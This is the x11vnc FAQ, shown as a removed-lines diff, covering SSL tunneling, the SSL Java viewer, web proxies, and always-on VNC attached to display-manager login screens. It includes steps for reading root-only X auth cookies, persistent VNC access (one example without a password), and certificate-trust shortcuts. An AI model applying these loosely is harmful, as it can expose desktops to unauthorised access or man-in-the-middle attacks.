- Where the file x11vnc.cfg contains:
-foreground = yes
-pid =
-cert = /path/to/stunnel.pem
-[x11vnc_stunnel]
-accept = 5901
-connect = 5900
-
- One nice thing about version 4 is often the PEM file does not need to
- be specified because stunnel finds it in its installed area. One other
- gotcha the PEM file is usually only readable by root (it has the
- private key afterall), so you'll need to relax the permissions or make
- a copy that the user running x11vnc/stunnel can read.
-
-
- SSL VNC Viewers:
-
- Regarding VNC viewers that "natively" do SSL unfortunately there do
- not seem to be many. The SingleClick UltraVNC Java Viewer is SSL and
- is compatible with x11vnc's -ssl option and stunnel.) Commercial
- versions of VNC seem to have some SSL-like encryption built in, but we
- haven't tried those either and they probably wouldn't work since their
- (proprietary) SSL-like negotiation is likely embedded in the VNC
- protocol unlike our case where it is external.
-
- Note: as of Mar/2006 libvncserver/x11vnc provides a SSL-enabled Java
- applet that can be served up via the -httpdir or -http options when
- -ssl is enabled. It will also be served via HTTPS via either the VNC
- port (e.g. https://host:5900/) or a 2nd port via the -https option.
-
- In general current SSL VNC solutions are not particularly "seemless".
- But it can be done, and with a wrapper script on the viewer side and
- the -stunnel or -ssl option on the server side it works well and is
- convenient. Here is a simple script ss_vncviewer that automates
- running stunnel on the VNC viewer side on Unix a little more carefully
- than the commands printed above. (One could probably do a similar
- thing with a .BAT file on Windows in the stunnel folder.)
-
- Update Jul/2006: we now provide an Enhanced TightVNC Viewer (SSVNC)
- package that starts up STUNNEL automatically along with some other
- features. All binaries (stunnel, vncviewer, and some utilities) are
- provided in the package. It works on Unix, Mac OS X, and Windows.
-
-
- Q-53: Does x11vnc have built-in SSL tunneling?
-
- You can read about non-built-in methods in the Previous FAQ for
- background.
-
- SSL tunnels provide an encrypted channel without the need for Unix
- users, passwords, and key passphrases required for ssh (and at the
- other extreme SSL can also provide a complete signed certificate chain
- of trust.) On the other hand, since SSH is usually installed
- everywhere and firewalls often let its port through, ssh is frequently
- the path of least resistance.
-
- Built-in SSL x11vnc options:
-
- As of Feb/2006 the x11vnc -ssl option automates the SSL tunnel
- creation on the x11vnc server side. An SSL-enabled Java Viewer applet
- is also provided that can be served via HTTP or HTTPS to automate SSL
- on the client side.
-
- The -ssl mode uses the www.openssl.org library if available at build
- time.
-
- The mode requires an SSL certificate and key (i.e. .pem file.) These
- are usually created via the openssl(1) program (in fact in for "-ssl"
- (same as "-ssl SAVE") it will run openssl for you automatically.) So
- the SSL is not completely "built-in" since this external tool needs to
- be installed, but at least x11vnc runs it for you automatically.
-
- An -ssl example:
- x11vnc -display :0 -ssl -passwdfile ~/mypass
-
- You'll get output like this:
- 09/04/2006 19:27:35 Creating a self-signed PEM certificate...
- 09/04/2006 19:27:35
- ...
-
- The SSL VNC desktop is: far-away.east:0
- PORT=5900
- SSLPORT=5900
-
- In this case openssl(1) was used to create a PEM automatically. It
- will prompt you if you want to protect it with with a passphrase. Use
- "-ssl SAVE_NOPROMPT" to not be prompted. Use "-ssl TMP" to create a
- temporary self-signed cert that will be discarded when x11vnc exits.
-
- Update: As of Nov/2008 x11vnc also supports the VeNCrypt SSL/TLS
- tunnel extension to the VNC protocol. The older ANONTLS method (vino)
- is also supported. This support is on by default when the -ssl option
- is in use and can be fine-tuned using these options: -vencrypt,
- -anontls, and -sslonly.
-
- The normal x11vnc -ssl operation is somewhat like a URL method
- vncs://hostname if vnc://hostname indicates a standard unencrypted VNC
- connection. Just as https://hostname is an SSL encrypted version of
- http://hostname. The entire VNC session goes through the SSL tunnel.
- VeNCrypt, on the other hand, switches to SSL/TLS early in the VNC
- protocol handshake. x11vnc 0.9.6 supports both simultaneously when
- -ssl is active.
-
-
- SSL VNC Viewers:. Viewer-side will need to use SSL as well. See the
- next FAQ and here for SSL enabled VNC Viewers, including SSVNC, to
- connect to the above x11vnc via SSL.
-
-
- As seen above, the PEM (privacy enhanced mail) file does not need to
- be supplied if the openssl(1) command is available in PATH, in that
- case a self-signed, certificate good the current and subsequent x11vnc
- sessions is created (this may take a while on very slow machines.)
-
- In general, the PEM file contains both the Certificate (i.e. public
- key) and the Private Key. Because of the latter, the file should be
- protected from being read by untrusted users. The best way to do this
- is to encrypt the key with a passphrase (note however this requires
- supplying the passphrase each time x11vnc is started up.)
-
- See the discussion on x11vnc Key Management for some utilities
- provided for creating and managing certificates and keys and even for
- creating your own Certificate Authority (CA) for signing VNC server
- and client certificates. This may be done by importing the certificate
- into Web Browser or Java plugin keystores, or pointing stunnel to it.
- The wrapper script ss_vncviewer provides an example on unix (see the
- -verify option.)
-
- Here are some notes on the simpler default (non-CA) operation. To have
- x11vnc save the generated certificate and key, use the "SAVE" keyword
- like this:
- x11vnc -ssl SAVE -display :0 ...
-
- (this is the same as the default: "-ssl".) This way it will be saved
- in the default directory ~/.vnc/certs/ as server.crt (the certificate
- only) and server.pem (both certificate and private key.) This opens up
- the possibility of copying the server.crt to machines where the VNC
- Viewer will be run to enable authenticating the x11vnc SSL VNC server
- to the clients. When authentication takes place this way (or via the
- more sophisticated CA signing described here), then
- Man-In-The-Middle-Attacks are prevented. Otherwise, the SSL encryption
- only provides protection against passive network traffic "sniffing"
- (i.e. you are not protected against M-I-T-M attacks.) Nowadays, most
- people seem mostly concerned mainly about passive sniffing (and the
- default x11vnc SSL mode protects against it.) Note that there are
- hacker tools like dsniff/webmitm and cain that implement SSL
- Man-In-The-Middle attacks. They rely on the client not bothering to
- check the cert.
-
-
- One can test to some degree that SSL is working after starting x11vnc
- with the -stunnel or -ssl option. From another machine one can use the
- openssl command something like this:
- openssl s_client -debug -msg -showcerts -connect far-away.east:5900
-
- After all of the debugging output and informational messages you'll
- see the string "RFB 003.008" that came from x11vnc. Pointing a web
- browser connecting to: https://far-away.east:5900/ and then viewing
- the SSL certificate information about the connection in the panels
- will also work.
-
- Note: If you serve up the SSL enabled Java VNC Viewer via something
- like:
- x11vnc -ssl -httpdir /usr/local/share/x11vnc/classes/ssl
-
- (or just the -http option), you can test it out completely using that,
- including using https to download it into the browser and connect to
- x11vnc.
-
-
- The older -stunnel option: Before the -ssl option there was a
- convenience option -stunnel that would start an external SSL tunnel
- for you using stunnel. The -ssl method is the preferred way, but for
- historical reference we keep the -stunnel info here.
-
- The -stunnel mode requires the stunnel.mirt.net command stunnel(8) to
- be installed on the system.
-
- Some -stunnel examples:
- x11vnc -display :0 -stunnel /path/to/stunnel.pem -passwdfile ~/mypass
-
- x11vnc -display :0 -stunnel SAVE ...
-
- You'll get output like this:
- The VNC desktop is: localhost:50
- The SSL VNC desktop is: far-away.east:0
- PORT=5950
- SSLPORT=5900
-
- That indicates stunnel is listening on port 5900 for incoming
- SSL-wrapped VNC connections from viewers. x11vnc is listening for
- local connections on port 5950 in this case (remote viewers cannot
- connect to it directly.) For -stunnel to work the stunnel command must
- be installed on the machine and available in PATH (note stunnel is
- often installed in sbin directories rather than bin.) Note that the
- default "-stunnel" by itself creates a temporary cert (as in "-ssl
- TMP".)
-
-
- Q-54: How do I use VNC Viewers with built-in SSL tunneling?
-
- Notes on using "native" VNC Viewers with SSL:
-
- There aren't any native VNC Viewers that do SSL (ask your VNC viewer
- developer to add the feature.) So a tunnel must be setup that you
- point the VNC Viewer to. This is often STUNNEL. You can do this
- manually, or use the ss_vncviewer script on Unix, or our Enhanced
- TightVNC Viewer (SSVNC) package on Unix, Windows, or MacOSX. See the
- next section for Java Web browser SSL VNC Viewers (you only need a
- Java-enabled Web browser for it to work.)
-
- Notes on the SSL enabled Java VNC Viewer provided in x11vnc
- classes/ssl/VncViewer.jar:
-
- A Java applet VNC Viewer allows you to connect to a VNC Server from a
- Java-enabled Web browser.
-
- The SSL enabled Java VNC Viewer (VncViewer.jar) in the x11vnc package
- supports only SSL based connections by default. As mentioned above the
- -httpdir can be used to specify the path to .../classes/ssl. A typical
- location might be /usr/local/share/x11vnc/classes/ssl. Or -http can be
- used to try to have it find the directory automatically.
-
- Also note that the SingleClick UltraVNC Java Viewer is compatible with
- x11vnc's -ssl SSL mode. (We tested it this way: "java -cp
- ./VncViewer.jar VncViewer HOST far-away.east PORT 5900 USESSL 1
- TRUSTALL 1")
-
- The Java viewer uses SSL to communicate securely with x11vnc. Note
- that the applet can optionally also be downloaded into your web
- browser via HTTPS (which is HTTP over SSL.) This way the HTML page and
- the Java applet itself are also delivered securely with SSL (as
- opposed to only the VNC traffic being encrypted with SSL.)
-
- For this case the output will be something like this:
- x11vnc -ssl SAVE -http
- ...
- The SSL VNC desktop is: far-away.east:0
- Java SSL viewer URL: https://far-away.east:5900/
- Java SSL viewer URL: http://far-away.east:5800/
- PORT=5900
- SSLPORT=5900
-
- Indicating the two URLs (the first one encrypted, the second not) one
- could point the web browser at to get the VNC viewer applet. E.g. put
- this
- http://far-away.east:5800/
-
- or:
- https://far-away.east:5900/
-
- into your Java-enabled Web browser.
-
- Note that KDE's Konqueror web browser seems to have problems with
- https Java applets, so you'll have to use the http/5800 with it (if
- you get https/5900 working let us know how you did it.)
-
- If you are using a router/firewall with port-redirection, and you are
- redirecting ports other than the default ones (5800, 5900) listed
- above see here.
-
- The https service provided thru the actual VNC port (5900 in the above
- example) can occasionally be slow or unreliable (it has to read some
- input and try to guess if the connection is VNC or HTTP.) If it is
- unreliable for you and you still want to serve the Java applet via
- https, use the -https option to get an additional port dedicated to
- https (its URL will also be printed in the output.)
-
- Another possibility is to add the GET applet parameter:
- https://far-away.east:5900/?GET=1
-
- This will have the VNC Viewer send a special HTTP GET string "GET
- /request.https.vnc.connection HTTP/1.0" that x11vnc will notice more
- quickly as a request for a VNC connection. Otherwise it must wait for
- a timeout to expire before it assumes a VNC connection.
-
- You may also use "urlPrefix=somestring" to have /somestring prepended
- to /request.https.vnc.connection". Perhaps you are using a web server
- proxy scheme to enter a firewall or otherwise have rules applied to
- the URL. If you need to have any slashes "/" in "somestring" use
- "_2F_" (a deficiency in libvncserver prevents using the more natural
- "%2F".)
-
- You apply multiple applet parameters in the regular URL way, e.g.:
- https://far-away.east:5900/?GET=1&urlPrefix=mysubdir&...
-
- All of the x11vnc Java Viewer applet parameters are described in the
- file classes/ssl/README
-
-
- Tips on Getting the SSL Java Applet Working the First Time:
- Unfortunately, it can be a little tricky getting the SSL VNC Java
- Viewer working with x11vnc. Here are some tips to getting working the
- first time (afterwards you can incrementally customize with more
- complex settings.)
- * First try it on the LAN: Do NOT try to have it work the first time
- going through firewalls, Web proxies, home router port
- redirections, or Apache portal. Just try a direct connection over
- your LAN first (if you only have 1 machine and no LAN, just do a
- direct connection to the same machine: localhost.) If the LAN
- machine you run x11vnc on has its own host-level firewall (most
- linux machine come with that on by default), disable it or at
- least let tcp ports 5800-6000 through.
- * First try HTTP to download the Java Applet: x11vnc can serve both
- the Java Applet jar file and VNC out of the same port (both
- tunneled through SSL, see below.) But it can lead to timing and
- other problems. So first try HTTP instead of HTTPS to download the
- Applet jar file (VncViewer.jar.) That is to say try
- http://hostname:5800 in your web browser first before trying
- https://hostname:5900. x11vnc will print out the ports and URLs it
- is using, so use the HTTP one it prints out.
- * Always Restart the Browser: If you are having failures and have to
- repeatedly retry things ALWAYS restart the browser (i.e.
- completely exit it and then start a new browser process) each
- time. Otherwise as you are changing things the browser may
- "remember" failed applet downloads, etc. and just add to the
- confusion and irreproducibility. If you see it trying to download
- VncViewer.class (instead of VncViewer.jar) you know it is really
- confused and needs to be restarted.
- * Step Lively: If you get Browser or Java VM or VNC Viewer applet
- dialog boxes saying things like "Do you want to trust this
- certificate?" or "The hostname does not match the one on the
- certificate", etc. just go through them as quickly as possible.
- x11vnc cannot wait forever for each SSL connection, and so if you
- dawdle too long inspecting the certs, etc it can lead to problems.
- Get it working first before taking your time to read the details
- in the dialogs, etc.
- * No inetd, Please: Even if you intend to deploy via inetd or xinetd
- eventually, get that working later (and remember do not use
- something like "-ssl TMP" that creates a new temporary SSL
- certificate for every new socket connection.)
- * Nothing Fancy: Do not try fancy stuff like -svc, -create, -unixpw,
- "-users unixpw=", "-users sslpeer=", -sslverify, etc. Just get the
- simplest connection working first and then incrementally add what
- you need.
-
- So the recommended test command lines are:
- x11vnc -ssl SAVE -http
- x11vnc -ssl SAVE -httpdir /path/to/x11vnc/classes/ssl
-
- Use the latter if x11vnc cannot automatically find the classes/ssl
- directory (this what the -http option instructs it to do.) Then point
- your browser to the HTTP (not HTTPS) URL it prints out.
-
- Following the above guidelines, did it work? If so, Congratulations!!
- you created an SSL encrypted connection between the SSL Java applet
- running in your web browser and x11vnc. The fact that you used HTTP
- instead of HTTPS to download the applet is not the end of the world
- (some users do it this way), the main thing is that the VNC traffic is
- encrypted with SSL. If you are having trouble even with the above
- baseline test case feel free to contact me (please send the Full
- x11vnc output, not just part of it; the complete x11vnc command line;
- the URL(s) entered in the browser; the full Java Console output; and
- anything else you can think of.)
-
- Next, you can add the features you want one by one testing it still
- works each time. I suggest first turning on the HTTPS applet download
- (https://hostname:5900) if that is what you intend to use. That one
- gives the most trouble because of the ambiguity of passing two
- different protocols (HTTP and VNC) through the same SSL service port.
-
- Next, turn on inetd if you intend to use that (this can be tricky too,
- be sure to use -oa logfile and inspect it carefully if there are
- problems.) If you are going to use non-standard ports (e.g. "-rfbport
- 443" as root), work on that next. Then enable the firewall, router
- port redirection channel (you will somehow need to be outside to do
- that, maybe test that through another VNC session.)
-
- Then, if you plan to use them, enable "fancy stuff" like "-svc" or
- "-unixpw", etc, etc. Be sure to add a password either "-rfbauth" or
- "-unixpw" or both. If you need to have the web browser use a corporate
- Web Proxy (i.e. it cannot connect directly) work on that last. Ditto
- for the Apache portal.
-
-
- Router/Firewall port redirs: If you are doing port redirection at
- your router to an internal machine running x11vnc AND the internet
- facing port is different from the internal machine's VNC port, you
- will need to apply the PORT applet parameter to indicate to the applet
- the Internet facing port number (otherwise by default the internal
- machine's port, say 5900, is sent and that of course is rejected at
- the firewall/router.) For example:
- https://far-away.east:443/?GET=1&PORT=443
-
- So in this example the user configures his router to redirect
- connections to port 443 on his Internet side to, say, port 5900 on the
- internal machine running x11vnc. See also the -httpsredir option that
- will try to automate this for you.
-
- To configure your router to do port redirection, see its instructions.
- Typically, from the inside you point a web browser to a special URL
- (e.g. http://192.168.1.1) and you get a web interface to configure it.
- Look for something like "Port Redirection" or "Port Forwarding",
- probably under "Advanced" or something like that. If you have a Linux
- or Unix system acting as your firewall/router, see its firewall
- configuration.
-
- You can also use x11vnc options -rfbport NNNNN and -httpport NNNNN to
- match the ports that your firewall will be redirecting to the machine
- where x11vnc is run.
-
-
- Tedious Dialogs: If you do serve the SSL enabled Java viewer via https
- be prepared for quite a number of "are you sure you trust this site?"
- dialogs:
- * First from the Web browser that cannot verify the self-signed
- certificate when it downloads index.vnc.
- * From the Web browser again noting that the common name on the
- certificate does not match the hostname of the remote machine.
- * Next from the Java VM that cannot verify the self-signed
- certificate when it downloads VncViewer.jar.
- * And also from the Java VM again noting that the common name on the
- certificate does not match the hostname of the remote machine.
- * Finally from the Java VncViewer applet itself saying it cannot
- verify the certificate! (or a popup asking you if you want to see
- the certificate.)
-
- Note that sometimes if you pause too long at one of the above dialogs
- then x11vnc may exceed a timeout and assume the current socket
- connection is VNC instead of the HTTPS it actually is (but since you
- have paused too long at the dialog the GET request comes too late.)
- Often hitting Reload and going through the dialogs more quickly will
- let you connect. The Java VM dialogs are the most important ones to
- NOT linger at. If you see in the x11vnc output a request for
- VncViewer.class instead of VncViewer.jar it is too late... you will
- need to completely restart the Web browser to get it to try for the
- jar again. You can use the -https option if you want a dedicated port
- for HTTPS connections instead of sharing the VNC port.
-
- To see example x11vnc output for a successful https://host:5900/
- connection with the Java Applet see This Page. And here is a newer
- example including the Java Console output.
-
- All of the x11vnc Java Viewer applet parameters are described in the
- file classes/ssl/README
-
-
- Notes on the VNC Viewer ss_vncviewer wrapper script:
-
- If you want to use a native VNC Viewer with the SSL enabled x11vnc you
- will need to run an external SSL tunnel on the Viewer side. There do
- not seem to be any native SSL VNC Viewers outside of our x11vnc and
- SSVNC packages. The basic ideas of doing this were discussed for
- external tunnel utilities here.
-
- The ss_vncviewer script provided with x11vnc and SSVNC can set up the
- stunnel tunnel automatically on unix as long as the stunnel command is
- installed on the Viewer machine and available in PATH (and vncviewer
- too of course.) Note that on a Debian based system you will need to
- install the package stunnel4 not stunnel. You can set the environment
- variables STUNNEL and VNCVIEWERCMD to point to the correct programs if
- you want to override the defaults.
-
- Here are some examples:
- 1) ss_vncviewer far-away.east:0
-
- 2) ss_vncviewer far-away.east:0 -encodings "copyrect tight zrle hextile"
-
- 3) ss_vncviewer -verify ./server.crt far-away.east:0
-
- 4) ss_vncviewer -mycert ./client.pem far-away.east:0
-
- 5) ss_vncviewer -proxy far-away.east:8080 myworkstation:0
-
- The first one is the default mode and accepts the x11vnc certificate
- without question. The second one is as the first, but adds the
- -encodings options to the vncviewer command line.
-
- The third one requires that the x11vnc server authenticate itself to
- the client against the certificate in the file ./server.crt (e.g. one
- created by "x11vnc -ssl SAVE" and safely copied to the VNC viewer
- machine.)
-
- The fourth one is for VNC Viewer authentication, it uses ./client.pem
- to authenticate itself to x11vnc. One can supply both -verify and
- -mycert simultaneously.
-
- The fifth one shows that Web proxies can be used if that is the only
- way to get out of the firewall. If the "double proxy" situation arises
- separate the two by commas. See this page for more information on how
- Web proxies come into play.
-
- If one uses a Certificate Authority (CA) scheme described here, the
- wrapper script would use the CA cert instead of the server cert:
- 3') ss_vncviewer -verify ./cacert.crt far-away.east:0
-
- Update Jul/2006: we now provide an Enhanced TightVNC Viewer (SSVNC)
- package that starts up STUNNEL automatically along with some other
- features. All binaries (stunnel, vncviewer, and some utilities) are
- provided in the package. It works on Unix, Mac OS X, and Windows.
-
-
- Q-55: How do I use the Java applet VNC Viewer with built-in SSL
- tunneling when going through a Web Proxy?
- The SSL enabled Java VNC Viewer and firewall Proxies:
-
- SSL and HTTPS aside, there is a general problem with Firewall Proxies
- and Java Applets that open sockets. The applet is downloaded
- successfully (through the browser) using HTTP and the proxy, but when
- the applet tries to reconnect to the originating host (the only one
- allowed by security) it does not use the proxy channel. So it cannot
- reconnect to the server the applet came from!
-
- We have found a convenient workaround: in the directory where
- VncViewer.jar resides there is a digitally signed version of the same
- applet called SignedVncViewer.jar. Since the applet is digitally
- signed, there will be an additional dialog from the Java VM plugin
- asking you if you want to trust the applet fully.
-
- You should say "Yes". If you do, the applet will be run in a mode
- where it can try to determine the firewall proxy host name and port
- (it will ask you for them if it cannot find them.) This way it can
- connect directly to the Proxy and then request the CONNECT method to
- be redirected to the originating host (the x11vnc VNC Server.) SSL is
- then layered over this socket.
-
- To do this you should use the proxy.vnc HTML file like via this URL in
- your browser:
- https://yourmachine.com:5900/proxy.vnc
-
- (instead of the unsigned one in https://yourmachine.com:5900/ that
- gives the default index.vnc)
-
- Proxies that limit CONNECT to ports 443 and 563:
-
- Things become trickier if the Web proxy restricts which CONNECT ports
- can be redirected to. For security, some (most?) proxies only allow
- port 443 (HTTPS) and 563 (SNEWS) by default. In this case, the only
- thing to do is run x11vnc on that low port, e.g. "-rfbport 443", (or
- use a port redirection on, say, a firewall or router port 443 to the
- internal machine.)
-
- If you do such a redirection to an internal machine and x11vnc is not
- listening on port 443, you will probably need to edit proxy.vnc.
- Suppose the SSL x11vnc server was listening on port 5901. You should
- change the line in proxy.vnc from:
- <param name=PORT value=$PORT>
-
- to:
- <param name=PORT value=443>
-
- Since otherwise $PORT will be expanded to 5901 by x11vnc and the
- viewer applet will fail to connect to that port on the firewall.
-
- Another way to achieve the same thing is to use the applet PORT
- parameter:
- https://yourmachine.com/proxy.vnc?PORT=443
-
- this is cleaner because it avoids editing the file, but requires more
- parameters in the URL. See also the -httpsredir x11vnc option that
- will try to automate this for you. To use the GET trick discussed
- above, do:
- https://yourmachine.com/proxy.vnc?GET=1&PORT=443
-
- All of the x11vnc Java Viewer applet parameters are described in the
- file classes/ssl/README
-
- Here is an example of Java Console and x11vnc output for the Web proxy
- case.
-
-
- Note that both the ss_vncviewer stunnel Unix wrapper script and
- Enhanced TightVNC Viewer (SSVNC) can use Web proxies as well even
- though they do not involve a Web browser.
-
-
- Q-56: Can Apache web server act as a gateway for users to connect via
- SSL from the Internet with a Web browser to x11vnc running on their
- workstations behind a firewall?
- Yes. You will need to configure apache to forward these connections.
- It is discussed here. This SSL VNC portal provides a clean alternative
- to the traditional method where the user uses SSH to log in through
- the gateway to create the encrypted port redirection to x11vnc running
- on her desktop.
-
- Also see the desktop.cgi CGI script method that achieves much of what
- this Apache VNC SSL portal method does (as long as desktop.cgi's 'port
- redirection' mode is enabled.)
-
-
- Q-57: Can I create and use my own SSL Certificate Authority (CA) with
- x11vnc?
- Yes, see this page for how to do this and the utility commands x11vnc
- provides to create and manage many types of certificates and private
- keys.
-
-
-
- [Display Managers and Services]
-
- Q-58: How can I run x11vnc as a "service" that is always available?
-
- There are a number of ways to do this. The primary thing you need to
- decide is whether you want x11vnc to connect to the X session on the
- machine 1) regardless of who (or if anyone) has the X session, or 2)
- only if a certain user has the X session. Because X sessions are
- protected by X permissions (MIT-MAGIC-COOKIE files XAUTHORITY and
- $HOME/.Xauthority) the automatically started x11vnc will of course
- need to have sufficient permissions to connect to the X display.
-
- Here are some ideas:
- * Use the description under "Continuously" in the FAQ on x11vnc and
- Display Managers
- * Use the description in the FAQ on x11vnc and inetd(8)
- * Use the description in the FAQ on Unix user logins and inetd(8)
- * Start x11vnc from your $HOME/.xsession (or $HOME/.xinitrc or
- autostart script or ...)
- * Although less reliable, see the x11vnc_loop rc.local hack below.
-
- The display manager scheme will not be specific to which user has the
- X session unless a test is specifically put into the display startup
- script (often named Xsetup.) The inetd(8) scheme may or may not be
- specific to which user has the X session (and it may not be able to do
- all users via the XAUTHORITY permission issues.)
-
- The .xsession/.xinitrc scheme is obviously is specific to a particular
- user and only when they are logged into X. If you do not know what a
- $HOME/.xsession script is or how to use one, perhaps your desktop has
- a "session startup commands" configuration option. The command to be
- run in the .xsession or .xinitrc file may look like this:
-x11vnc -logfile $HOME/.x11vnc.log -rfbauth $HOME/.vnc/passwd -forever -bg
-
- plus any other options you desire.
-
- Depending on your desktop and/or OS/distribution the automatically run
- X startup scripts (traditionally .xsession/.xinitrc) may have to be in
- a different directory or have a different basename. One user
- recommends the description under 'Running Scripts Automatically' at
- this link.
-
- Firewalls: note all methods will require the host-level firewall to be
- configured to allow connections in on a port. E.g. 5900 (default VNC
- port) or 22 (default SSH port for tunnelling VNC.) Most systems these
- days have firewalls turned on by default, so you will actively have to
- do something to poke a hole in the firewall at the desired port
- number. See your system administration tool for Firewall settings
- (Yast, Firestarter, etc.)
-
-
- Q-59: How can I use x11vnc to connect to an X login screen like xdm,
- GNOME gdm, KDE kdm, or CDE dtlogin? (i.e. nobody is logged into an X
- session yet.)
-
- We describe two scenarios here. The first is called 'One time only'
- meaning you just need to do it quickly once and don't want to repeat;
- and the second is called 'Continuously' meaning you want the access to
- be available after every reboot and after every desktop logout.
- _________________________________________________________________
-
- One time only: If the X login screen is running and you just want to
- connect to it once (i.e. a one-shot):
-
- It is usually possible to do this by just adjusting the XAUTHORITY
- environment variable to point to the correct MIT-COOKIE auth file
- while running x11vnc as root, e.g. for the gnome display manager, GDM:
- x11vnc -auth /var/gdm/:0.Xauth -display :0
-
- (the -auth option sets the XAUTHORITY variable for you.)
-
- There will be a similar thing to do for xdm using however a different
- auth directory path (perhaps something like
- /var/lib/xdm/authdir/authfiles/A:0-XQvaJk) for the xdm greeter or
- /var/lib/kdm/A:0-crWk72 (or /var/run/xauth/A:0-qQPftr, etc. etc) for
- the kdm greeter. Of course, the random characters in the file basename
- will vary and you will need to use the actual filename on your system.
- Read your system docs to find out where the display manager cookie
- files are kept.
-
- Trick: sometimes ps(1) can reveal the X server process -auth argument
- (e.g. "ps wwaux | grep auth") and hence the path to the auth file.
-
- x11vnc must be run as root for this because the /var/gdm/:0.Xauth,
- /var/lib/kdm/A:0-crWk72, etc. auth files are only readable by root. If
- you do not want to run x11vnc as root, you can copy (as root or sudo)
- the auth file to some location and make it readable by your userid.
- Then run x11vnc as your userid with -auth pointed to the copied file.
-
- Update Dec/2009: use "-auth guess" to have x11vnc try to guess the
- location of the auth file for you.
-
- You next connect to x11vnc with a VNC viewer, give your username and
- password to the X login prompt to start your session.
-
- Note: GDM: gdm seems to have an annoying setting that causes x11vnc
- (and any other X clients) to be killed after the user logs in. Setting
- KillInitClients=false in the [daemon] section of /etc/X11/gdm/gdm.conf
- (or /etc/gdm/gdm.conf, etc.) avoids this. Otherwise, just restart
- x11vnc and then reconnect your viewer. Other display managers (kdm,
- etc) may also have a similar problem. One user reports having to alter
- "gdm.conf-custom" as well.
-
- Note: Solaris: For dtlogin in addition to the above sort of trick
- (BTW, the auth file should be in /var/dt), you'll also need to add
- something like Dtlogin*grabServer:False to the Xconfig file
- (/etc/dt/config/Xconfig or /usr/dt/config/Xconfig on Solaris, see the
- example at the end of this FAQ.) Then restart dtlogin, e.g.:
- /etc/init.d/dtlogin stop; /etc/init.d/dtlogin start or reboot.
-
- Update Nov/2008: Regarding GDM KillInitClients: see the -reopen option
- for another possible workaround.
-
- Update Oct/2009: Regarding GDM KillInitClients: starting with x11vnc
- 0.9.9 it will try to apply heuristics to detect if a window manager is
- not running (i.e. whether the Display Manager Greeter Login panel is
- still up.) If it thinks the display manager login is still up it will
- delay creating windows or using XFIXES. The former is what GDM uses to
- kill the initial clients, use of the latter can cause a different
- problem: an Xorg server crash. So with 0.9.9 and later it should all
- work without needing to set KillInitClients=false (which is a good
- because recent GDM, v2.24, has removed this option) or use -noxfixes.
- To disable the heuristics and delaying set X11VNC_AVOID_WINDOWS=never;
- to set the delay time explicitly use, e.g., X11VNC_AVOID_WINDOWS=120
- (delays for 120 seconds after the VNC connection; you have that long
- to log in.)
- _________________________________________________________________
-
- Continuously: Have x11vnc reattach each time the X server is
- restarted (i.e. after each logout and reboot):
-
- To make x11vnc always attached to the X server including the login
- screen you will need to add a command to a display manager startup
- script.
-
- Please consider the security implications of this! The VNC display for
- the X session always accessible (but hopefully password protected.)
- Add -localhost if you only plan to access via a SSH tunnel.
-
- The name of the display manager startup script file depends on desktop
- used and seem to be:
- GDM (GNOME) /etc/X11/gdm/Init/Default
- /etc/gdm/Init/Default
- KDM (KDE) /etc/kde*/kdm/Xsetup
- XDM /etc/X11/xdm/Xsetup (or sometimes xdm/Xsetup_0)
- CDE /etc/dt/config/Xsetup
-
- although the exact location can be operating system, distribution, and
- time dependent. See the documentation for your display manager:
- gdm(1), kdm(1), xdm(1), dtlogin(1) for additional details. There may
- also be display number specific scripts: e.g. Xsetup_0 vs. Xsetup, you
- need to watch out for.
-
- Note: You should read and understand all of the Note's and Update's
- in the 'One time only' section above. All of the GDM topics apply here
- as well:
-
- Note: GDM: The above (in 'One time only') gdm setting of
- KillInitClients=false in /etc/X11/gdm/gdm.conf (or /etc/gdm/gdm.conf,
- etc.) for GDM is needed here as well. Other display managers (KDM,
- etc) may also have a similar problem.
-
- Also see the Update Oct/2009 above where x11vnc 0.9.9 and later
- automatically avoids being killed.
-
- Note: DtLogin: The above (in 'One time only')
- Dtlogin*grabServer:False step for Solaris will be needed for dtlogin
- here as well.
-
- In any event, the line you will add to the display manager script
- (Xsetup, Default, or whatever) will look something like:
- /usr/local/bin/x11vnc -rfbauth /path/to/the/vnc/passwd -o /var/log/x11vnc.log
- -forever -bg
-
- where you should customize the exact command to your needs (e.g.
- -localhost for SSH tunnel-only access; -ssl SAVE for SSL access; etc.)
-
- Happy, happy, joy, joy: Note that we do not need to specify -display
- or -auth because happily they are already set for us in the DISPLAY
- and XAUTHORITY environment variables for the Xsetup script!!!
-
- You may also want to force the VNC port with something like "-rfbport
- 5900" (or -N) to avoid autoselecting one if 5900 is already taken.
- _________________________________________________________________
-
- Fedora/gdm: Here is an example of what we did on a vanilla install of
- Fedora-C3 (seems to use gdm by default.) Add a line like this to
- /etc/X11/gdm/Init/:0
- /usr/local/bin/x11vnc -rfbauth /etc/x11vnc.passwd -forever -bg -o /var/log/x1
-1vnc.log
-
- And then add this line to /etc/X11/gdm/gdm.conf (or /etc/gdm/gdm.conf,
- etc.) in the [daemon] section:
- KillInitClients=false
-
- Then restart: /usr/sbin/gdm-restart (or reboot.) The
- KillInitClients=false setting is important: without it x11vnc will be
- killed immediately after the user logs in. Here are full details on
- how to configure gdm
- _________________________________________________________________
-
- Solaris/dtlogin: Here is an example of what we did on a vanilla
- install of Solaris:
- Make the directory /etc/dt/config:
- mkdir -p /etc/dt/config
-
- Copy over the Xconfig file for customization:
- cp /usr/dt/config/Xconfig /etc/dt/config/Xconfig
-
- Edit /etc/dt/config/Xconfig and uncomment the line:
- Dtlogin*grabServer: False
-
- Next, copy over Xsetup for customization:
- cp /usr/dt/config/Xsetup /etc/dt/config/Xsetup
-
- Edit /etc/dt/config/Xsetup and at the bottom put a line like:
- /usr/local/bin/x11vnc -forever -o /var/log/x11vnc.log -bg
-
- (tweaked to your local setup and preferences, a password via -rfbauth,
- etc. would be a very good idea.)
-
- Restart the X server and dtlogin:
- /etc/init.d/dtlogin stop
- /etc/init.d/dtlogin start
-
- (or reboot or maybe just restart the X session.)
- _________________________________________________________________
-
- KDM: One user running the kdm display manager reports putting this
- line:
- x11vnc -forever -rfbauth /home/xyz/.vnc/passwd -bg -o /var/log/x11vnc.log
-
- in /etc/kde/kdm/Xsetup. After rebooting the system it all seemed to
- work fine.
- _________________________________________________________________
-
-
- If you do not want to deal with any display manager startup scripts,
- here is a kludgey script that can be run manually or out of a boot
- file like rc.local: x11vnc_loop It will need some local customization
- before running. Because the XAUTHORITY auth file must be guessed by
- this script, use of the display manager script method described above
- is greatly preferred. There is also the -loop option that does
- something similar.
-
- If the machine is a traditional Xterminal you may want to read this
- FAQ.
-
